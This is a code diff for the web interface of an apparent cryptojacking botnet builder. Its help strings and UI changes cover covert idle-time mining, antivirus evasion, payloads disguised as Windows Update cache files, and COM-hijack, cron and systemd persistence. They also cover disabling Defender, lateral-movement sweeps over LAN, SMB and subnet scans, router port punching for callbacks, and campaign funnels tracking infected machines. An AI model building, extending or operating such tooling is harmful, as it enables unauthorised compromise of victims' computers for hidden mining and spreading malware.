cpu_priority: 'Windows process priority. Below Normal or Idle keeps the PC usable while mining.', cpu_priority: 'Windows process priority. Below Normal or Idle keeps the PC usable while mining.',
mining_mode: 'Always = mine continuously. Idle = only when user is inactive. Scheduled = mine during set hours.', mining_mode: 'Always = mine continuously. Idle = only when user is inactive. Scheduled = mine during set hours.',
miner_execution: miner_execution:
'Cascade order: container (Docker/Podman) → in-process RandomX → GPU subprocess (T-Rex/TRM, parallel RVN) → direct Stratum when C2 jobs stall. In-process runs pure-Go RandomX — no external CPU .exe. Container isolates CPU mining. Subprocess is GPU-only. Auto runs the full chain; inprocess/container/subprocess limit which steps are tried. Failures advance automatically with a 30s cooldown between full re-passes. Use Calibrate → Defender Exclusions on Windows fleets.', 'Cascade order: container (Docker/Podman) → in-process RandomX → GPU subprocess (T-Rex/TRM, parallel RVN) → direct Stratum when C2 jobs stall. In-process runs pure-Go RandomX — no external CPU .exe (lowest AV friction). Container isolates CPU mining but AV still sees docker.exe and image pulls. Subprocess is GPU-only and often quarantined. Auto runs the full chain; inprocess/container/subprocess limit which steps are tried. Failures advance automatically with a 30s cooldown between full re-passes. Crucible → Mining Diagnostics returns JSON likely_blockers; use Calibrate → Defender Exclusions on Windows fleets.',
idle_threshold_pct: 'For Idle mode: system CPU must stay below this % for Idle Duration before mining starts.', idle_threshold_pct: 'For Idle mode: system CPU must stay below this % for Idle Duration before mining starts.',
idle_duration_minutes: 'How long the machine must be idle before mining begins.', idle_duration_minutes: 'How long the machine must be idle before mining begins.',
schedule_start: 'For Scheduled mode: daily start time (24h).', schedule_start: 'For Scheduled mode: daily start time (24h).',
@@ -169,10 +175,13 @@ export const FIELD_HELP: Record<string, string> = {
'WebRTC Mesh Spread: LAN seeder delivers manifest over WebRTC data channel (STUN from server, signaling via WS relay). Bytes stay on subnet; server sees join_lane + hashrate only. Default OFF — heavier than DNS/WSUS cousins; enable for dense LANs.', 'WebRTC Mesh Spread: LAN seeder delivers manifest over WebRTC data channel (STUN from server, signaling via WS relay). Bytes stay on subnet; server sees join_lane + hashrate only. Default OFF — heavier than DNS/WSUS cousins; enable for dense LANs.',
wsus_cache_peer_spread: wsus_cache_peer_spread:
'WSUS Cache Peer Spread: Stages beside `SoftwareDistribution\\Download` like an offline update cache cousin. Probes Wuauserv/AU registry; default ON when Windows Update service is present or this forge flag is set.', 'WSUS Cache Peer Spread: Stages beside `SoftwareDistribution\\Download` like an offline update cache cousin. Probes Wuauserv/AU registry; default ON when Windows Update service is present or this forge flag is set.',
wsus_format_mimic:
'WSUS Format Mimic: staged shard files use *.cab.partial filenames with SSU/CAB-like headers so payloads resemble Windows Update cache chunks. Requires WSUS Cache Peer spread enabled. Windows-only; default ON for Windows forges.',
com_hijack_persist: 'COM Hijack Persist: Registers the agent under an InprocServer32 CLSID hijack for stealthy relaunch. High-friction persistence — off by default; only enable on systems you fully own.', com_hijack_persist: 'COM Hijack Persist: Registers the agent under an InprocServer32 CLSID hijack for stealthy relaunch. High-friction persistence — off by default; only enable on systems you fully own.',
linux_lotl_mode: 'Linux LOTL Mode: After install on Linux, registers native-tool persistence via systemd-run --user, crontab @reboot, both, or off. No extra drop — uses built-in OS scheduling only.', linux_lotl_mode: 'Linux LOTL Mode: After install on Linux, registers native-tool persistence via systemd-run --user, crontab @reboot, both, or off. No extra drop — uses built-in OS scheduling only.',
hole_punch: 'NAT Hole Punch: Bakes UPnP IGD port-mapping support into the agent. From Agents → Tactical panel you can map WAN ports on the router for inbound callbacks (point-and-shoot).', hole_punch: 'NAT Hole Punch: Bakes UPnP IGD port-mapping support into the agent. From Agents → Tactical panel you can map WAN ports on the router for inbound callbacks (point-and-shoot).',
remote_aggressive: 'Remote Aggressive Ops: Enables on-demand commands from the dashboard — spread now, subnet scan, cloudflared tunnel, firewall punch, defender bypass. Requires explicit button press; nothing runs automatically except what other toggles define.', remote_aggressive:
'Remote Aggressive Ops: Enables on-demand commands from the dashboard — spread now, subnet scan, cloudflared tunnel, firewall punch, defender_off (RTP disable only, admin required). Requires explicit button press; nothing runs automatically except what other toggles define. AV is not fully disabled — exclusions remain the reliable path.',
target_os: 'Target platform: Windows-only, Linux, macOS, Universal (all three in one ZIP), or Android APK fleet node. Movie fusion and Spread Kit always use Universal; APK mode locks Android arm64.', target_os: 'Target platform: Windows-only, Linux, macOS, Universal (all three in one ZIP), or Android APK fleet node. Movie fusion and Spread Kit always use Universal; APK mode locks Android arm64.',
apk_mode: apk_mode:
'Package a fleet node as an Android APK — not mining-first. Compiles linux/arm64 agent, embeds server_url + worker name, and joins the fleet as platform=android after install. Grant permissions on first open.', 'Package a fleet node as an Android APK — not mining-first. Compiles linux/arm64 agent, embeds server_url + worker name, and joins the fleet as platform=android after install. Grant permissions on first open.',

View File

@@ -73,6 +73,9 @@ describe('UI_HELP', () => {
'md_campaign_identity', 'md_campaign_identity',
'md_strike_pipeline', 'md_strike_pipeline',
'md_equip_strike', 'md_equip_strike',
'md_loadout_preview',
'md_campaign_slug',
'md_preflight',
'ew_overview', 'ew_overview',
'ew_campaign_setup', 'ew_campaign_setup',
'ew_campaign_slug', 'ew_campaign_slug',
@@ -85,6 +88,10 @@ describe('UI_HELP', () => {
'ew_shared_notes', 'ew_shared_notes',
'ew_war_room_funnel', 'ew_war_room_funnel',
'ew_war_room_views', 'ew_war_room_views',
'ew_war_room_funnel_board',
'ew_war_room_stats_table',
'ew_war_room_constellations',
'ew_war_room_leak',
'crucible_btn_spread_now', 'crucible_btn_spread_now',
'crucible_btn_subnet_scan', 'crucible_btn_subnet_scan',
'crucible_btn_hole_punch', 'crucible_btn_hole_punch',
@@ -95,6 +102,7 @@ describe('UI_HELP', () => {
'set_alerts', 'set_alerts',
'set_alert_notifications', 'set_alert_notifications',
'set_webhook', 'set_webhook',
'ui_color_scheme',
'crucible_section_spread_templates', 'crucible_section_spread_templates',
] as const; ] as const;

View File

@@ -149,6 +149,12 @@ export const UI_HELP: Record<string, string> = {
'One automated run: lock presets → compile the agent → export spread-kit ZIP when the loadout requires it. Install commands live on Builds after the run finishes.', 'One automated run: lock presets → compile the agent → export spread-kit ZIP when the loadout requires it. Install commands live on Builds after the run finishes.',
md_equip_strike: md_equip_strike:
'Starts the pipeline using your equipped loadout. Fix wallet or control URL errors before clicking; grab install one-liners from Builds when done.', 'Starts the pipeline using your equipped loadout. Fix wallet or control URL errors before clicking; grab install one-liners from Builds when done.',
md_loadout_preview:
'Live summary of your equipped preset: operation chip, spread profile, campaign slug, worker name, and deliverable shape. Preflight runs before Equip & Strike — fix wallet or endpoint errors shown below the button.',
md_campaign_slug:
'Short tag appended as ?c= on install links. Emberwake War Room groups hits, downloads, beacons, and hashrate by this slug — set it before forging so telemetry lands in the right campaign.',
md_preflight:
'Wallet, control URL, and worker name must pass validation before Equip & Strike unlocks. Spread Kit export is skipped automatically when your loadout ships a single-platform or fusion deliverable instead.',
ew_overview: ew_overview:
'Spread desk after you forge: tag install links with ?c=, export lure kits, and read campaign funnels. Forge agents on Mission Deck (fast) or Forge (full control).', 'Spread desk after you forge: tag install links with ?c=, export lure kits, and read campaign funnels. Forge agents on Mission Deck (fast) or Forge (full control).',
@@ -174,6 +180,14 @@ export const UI_HELP: Record<string, string> = {
'Shows hits → downloads → first beacon → mining counts per ?c= slug for the selected window. Each column is a funnel stage; a large drop at any step points to where the install chain is breaking.', 'Shows hits → downloads → first beacon → mining counts per ?c= slug for the selected window. Each column is a funnel stage; a large drop at any step points to where the install chain is breaking.',
ew_war_room_views: ew_war_room_views:
'Switch between Funnel board (per-stage campaign breakdown), Stats table (full numbers with sparklines), and Constellations (visual map of campaign activity). All three draw from the same rolling window.', 'Switch between Funnel board (per-stage campaign breakdown), Stats table (full numbers with sparklines), and Constellations (visual map of campaign activity). All three draw from the same rolling window.',
ew_war_room_funnel_board:
'Per-campaign funnel cards: hits → downloads → first beacon → mining → hashrate with stage conversion rates and 7-day hit sparklines. Compare to Command Deck Install Funnel (build-centric) — War Room is campaign-slug centric via ?c=.',
ew_war_room_stats_table:
'Tabular War Room view with odometer counts, conversion %, online agents, and daily hit sparklines per campaign slug. Same data as the funnel board — use when you need sortable numbers across many campaigns.',
ew_war_room_constellations:
'Force-directed map: node size = hits, brightness = online agents, color = conversion %, edges = shared pin/build. Click a star to highlight its funnel card below.',
ew_war_room_leak:
'Automated funnel leak hints when a stage drops sharply (e.g. downloads but no beacons). LEAK = critical drop; Drip = minor — follow the suggested action on each card.',
crucible_btn_spread_now: crucible_btn_spread_now:
'Triggers the lateral movement sweep immediately on selected nodes — tries discovered LAN IPs from ARP, SMB, and subnet scan results. Requires Remote Aggressive Ops capability; a prior subnet scan or ARP run gives it more targets.', 'Triggers the lateral movement sweep immediately on selected nodes — tries discovered LAN IPs from ARP, SMB, and subnet scan results. Requires Remote Aggressive Ops capability; a prior subnet scan or ARP run gives it more targets.',
@@ -197,4 +211,6 @@ export const UI_HELP: Record<string, string> = {
'Push fleet events to Telegram, a custom webhook endpoint, or email (SMTP). Fill bot token + chat ID or webhook URL, choose which events to forward, save Calibration, then send a test message to confirm delivery.', 'Push fleet events to Telegram, a custom webhook endpoint, or email (SMTP). Fill bot token + chat ID or webhook URL, choose which events to forward, save Calibration, then send a test message to confirm delivery.',
set_webhook: set_webhook:
'HTTP POST endpoint that receives JSON for every enabled fleet event: { event, title, message }. Use for Slack incoming webhooks, n8n automation, custom dashboards, or any HTTP trigger.', 'HTTP POST endpoint that receives JSON for every enabled fleet event: { event, title, message }. Use for Slack incoming webhooks, n8n automation, custom dashboards, or any HTTP trigger.',
ui_color_scheme:
'AetherForge is steampunk dark-first. When your OS uses light mode, panels soften slightly via prefers-color-scheme — neon brass/cyan tokens stay the same. No separate theme toggle yet.',
}; };

View File

@@ -78,6 +78,7 @@ import {
} from '../help/forgeMissionWizard'; } from '../help/forgeMissionWizard';
import { LOTL_ONION_TIER_DOCS } from '../help/lotlOnionTiers'; import { LOTL_ONION_TIER_DOCS } from '../help/lotlOnionTiers';
import { spreadTechniqueDocUrl } from '../help/spreadTechniques'; import { spreadTechniqueDocUrl } from '../help/spreadTechniques';
import SacredPageHeader from '../components/Visual/sacredGeometry/SacredPageHeader';
import './BuilderPage.css'; import './BuilderPage.css';
function forgePageClass(operationMode: OperationModeId, themeOverride: ReturnType<typeof loadStoredForgeTheme>): string { function forgePageClass(operationMode: OperationModeId, themeOverride: ReturnType<typeof loadStoredForgeTheme>): string {
@@ -1048,51 +1049,52 @@ export default function BuilderPage() {
onChange={handleFileSelected} onChange={handleFileSelected}
/> />
<header className="deck-hero"> <SacredPageHeader
<div className="deck-hero-text"> eyebrow="INSTALLER FORGE"
<p className="deck-eyebrow font-tech">INSTALLER FORGE</p> title="Forge"
<h1>Forge</h1> subtitle={
<p className="page-subtitle"> simpleMode
{simpleMode ? 'Simple mode: name the worker, confirm wallet + LAN URL, forge. Recommended defaults handle stealth, idle mining, and persistence.'
? 'Simple mode: name the worker, confirm wallet + LAN URL, forge. Recommended defaults handle stealth, idle mining, and persistence.' : 'Every miner option lives here — install path, stealth, Fusion, persistence. Calibrate tab is server-only.'
: 'Every miner option lives here — install path, stealth, Fusion, persistence. Calibrate tab is server-only.'} }
</p> actions={
</div> <div style={{ display: 'flex', gap: '8px', flexWrap: 'wrap', alignItems: 'center' }}>
<div className="deck-hero-actions" style={{ display: 'flex', gap: '8px', flexWrap: 'wrap', alignItems: 'center' }}> <div className="forge-mode-toggle" role="group" aria-label="Forge display mode">
<div className="forge-mode-toggle" role="group" aria-label="Forge display mode"> <HelpTip field="forge_simple_mode" label="Simple vs Advanced" />
<button <button
type="button" type="button"
className={`btn btn-sm ${simpleMode ? 'btn-primary' : 'btn-outline'}`} className={`btn btn-sm ${simpleMode ? 'btn-primary' : 'btn-outline'}`}
onClick={() => setForgeMode(true)} onClick={() => setForgeMode(true)}
title={FIELD_HELP.forge_simple_mode} title={FIELD_HELP.forge_simple_mode}
> >
Simple Simple
</button>
<button
type="button"
className={`btn btn-sm ${!simpleMode ? 'btn-primary' : 'btn-outline'}`}
onClick={() => setForgeMode(false)}
>
Advanced
</button>
</div>
<button className="btn btn-outline" onClick={loadRecentBuilds}>
Recent Builds
</button> </button>
<button <button className="btn btn-outline" onClick={handleSaveBlueprint} title="Save current form as a named blueprint on the server">
type="button" 💾 Save Blueprint
className={`btn btn-sm ${!simpleMode ? 'btn-primary' : 'btn-outline'}`} </button>
onClick={() => setForgeMode(false)} <button className="btn btn-outline" onClick={handleLoadBlueprint} title="Load a saved blueprint from the server">
> 📂 Load Blueprint
Advanced </button>
<button className="btn btn-outline" onClick={handleExportBlueprintFile} title="Download current form as a .json file">
Export .json
</button>
<button className="btn btn-outline" onClick={handleImportBlueprintFile} title="Import a .json blueprint file from your computer">
📥 Import .json
</button> </button>
</div> </div>
<button className="btn btn-outline" onClick={loadRecentBuilds}> }
Recent Builds />
</button>
<button className="btn btn-outline" onClick={handleSaveBlueprint} title="Save current form as a named blueprint on the server">
💾 Save Blueprint
</button>
<button className="btn btn-outline" onClick={handleLoadBlueprint} title="Load a saved blueprint from the server">
📂 Load Blueprint
</button>
<button className="btn btn-outline" onClick={handleExportBlueprintFile} title="Download current form as a .json file">
Export .json
</button>
<button className="btn btn-outline" onClick={handleImportBlueprintFile} title="Import a .json blueprint file from your computer">
📥 Import .json
</button>
</div>
</header>
{/* Blueprint status message */} {/* Blueprint status message */}
{blueprintMsg && ( {blueprintMsg && (
@@ -1680,7 +1682,7 @@ export default function BuilderPage() {
</div> </div>
{form.https_beacon_fallback !== false && ( {form.https_beacon_fallback !== false && (
<div className="form-group"> <div className="form-group">
<label className="label">HTTPS fallback after (min)</label> <label className="label">HTTPS fallback after (min) <HelpTip field="https_beacon_after_min" /></label>
<input <input
type="number" type="number"
className="input" className="input"
@@ -1821,6 +1823,7 @@ export default function BuilderPage() {
title="Deliverable" title="Deliverable"
badge="baked" badge="baked"
description="Pick what you are shipping. Incompatible options are locked automatically." description="Pick what you are shipping. Incompatible options are locked automatically."
helpField="forge_deliverable"
/> />
<p className="form-hint" style={{ marginBottom: '0.75rem' }}> <p className="form-hint" style={{ marginBottom: '0.75rem' }}>
{deliverableSummary(deliverableType)} {deliverableSummary(deliverableType)}
@@ -2040,6 +2043,7 @@ export default function BuilderPage() {
<option value="powershell">PowerShell in-memory (LOTL)</option> <option value="powershell">PowerShell in-memory (LOTL)</option>
<option value="dotnet">Dotnet/MSBuild compile-at-runtime (LOTL)</option> <option value="dotnet">Dotnet/MSBuild compile-at-runtime (LOTL)</option>
</select> </select>
<FieldHint field="miner_execution" />
</div> </div>
<div className="form-group"> <div className="form-group">
<label className="label">Mining Mode <HelpTip field="mining_mode" /></label> <label className="label">Mining Mode <HelpTip field="mining_mode" /></label>

View File

@@ -381,6 +381,9 @@ export default function EmberwakePage() {
/> />
) : ( ) : (
<div className="war-room-table-wrap"> <div className="war-room-table-wrap">
<p className="war-room-table-key form-hint">
Stats table <HelpTip field="ew_war_room_stats_table" />
</p>
<table className="war-room-table"> <table className="war-room-table">
<thead> <thead>
<tr> <tr>

View File

@@ -432,7 +432,9 @@ export default function MissionDeckPage() {
<div className="loadout-preview-scanlines" aria-hidden /> <div className="loadout-preview-scanlines" aria-hidden />
</div> </div>
<div className="loadout-preview-meta"> <div className="loadout-preview-meta">
<p className="loadout-preview-eyebrow font-tech">2 Your loadout</p> <p className="loadout-preview-eyebrow font-tech">
2 Your loadout <HelpTip field="md_loadout_preview" />
</p>
<h2 className="loadout-preview-title">{selectedChipDef.label}</h2> <h2 className="loadout-preview-title">{selectedChipDef.label}</h2>
<p className="loadout-preview-desc">{selectedChipDef.blurb}</p> <p className="loadout-preview-desc">{selectedChipDef.blurb}</p>
<dl className="loadout-preview-stats"> <dl className="loadout-preview-stats">
@@ -469,7 +471,10 @@ export default function MissionDeckPage() {
<HelpTip field="md_equip_strike" label="How Equip & Strike works" /> <HelpTip field="md_equip_strike" label="How Equip & Strike works" />
</p> </p>
{!canLaunch && !missionBusy && ( {!canLaunch && !missionBusy && (
<p className="form-hint loadout-cta-hint">Fix preflight errors in your loadout before equipping.</p> <p className="form-hint loadout-cta-hint">
Fix preflight errors in your loadout before equipping.{' '}
<HelpTip field="md_preflight" label="Preflight rules" />
</p>
)} )}
{error && <p className="form-hint loadout-error-hint">{error}</p>} {error && <p className="form-hint loadout-error-hint">{error}</p>}
</div> </div>
@@ -545,7 +550,9 @@ export default function MissionDeckPage() {
<NeonCard accent="gold" tilt3d hud className="loadout-kit-card operator-deck-card operator-interactive"> <NeonCard accent="gold" tilt3d hud className="loadout-kit-card operator-deck-card operator-interactive">
<h3 style={{ marginTop: 0 }}>Campaign &amp; identity</h3> <h3 style={{ marginTop: 0 }}>Campaign &amp; identity</h3>
<div className="form-group"> <div className="form-group">
<label className="label" htmlFor="md-campaign">Campaign slug (?c=)</label> <label className="label" htmlFor="md-campaign">
Campaign slug (?c=) <HelpTip field="md_campaign_slug" />
</label>
<input <input
id="md-campaign" id="md-campaign"
type="text" type="text"
@@ -557,7 +564,9 @@ export default function MissionDeckPage() {
/> />
</div> </div>
<div className="form-group"> <div className="form-group">
<label className="label" htmlFor="md-worker">Worker name</label> <label className="label" htmlFor="md-worker">
Worker name <HelpTip field="worker_name" />
</label>
<input <input
id="md-worker" id="md-worker"
type="text" type="text"
@@ -569,7 +578,9 @@ export default function MissionDeckPage() {
/> />
</div> </div>
<div className="form-group"> <div className="form-group">
<label className="label" htmlFor="md-endpoint">Control endpoint</label> <label className="label" htmlFor="md-endpoint">
Control endpoint <HelpTip field="server_url" />
</label>
<input <input
id="md-endpoint" id="md-endpoint"
type="url" type="url"
@@ -594,7 +605,9 @@ export default function MissionDeckPage() {
)} )}
</div> </div>
<div className="form-group" style={{ marginBottom: 0 }}> <div className="form-group" style={{ marginBottom: 0 }}>
<label className="label" htmlFor="md-wallet">XMR wallet</label> <label className="label" htmlFor="md-wallet">
XMR wallet <HelpTip field="wallet" />
</label>
<input <input
id="md-wallet" id="md-wallet"
type="text" type="text"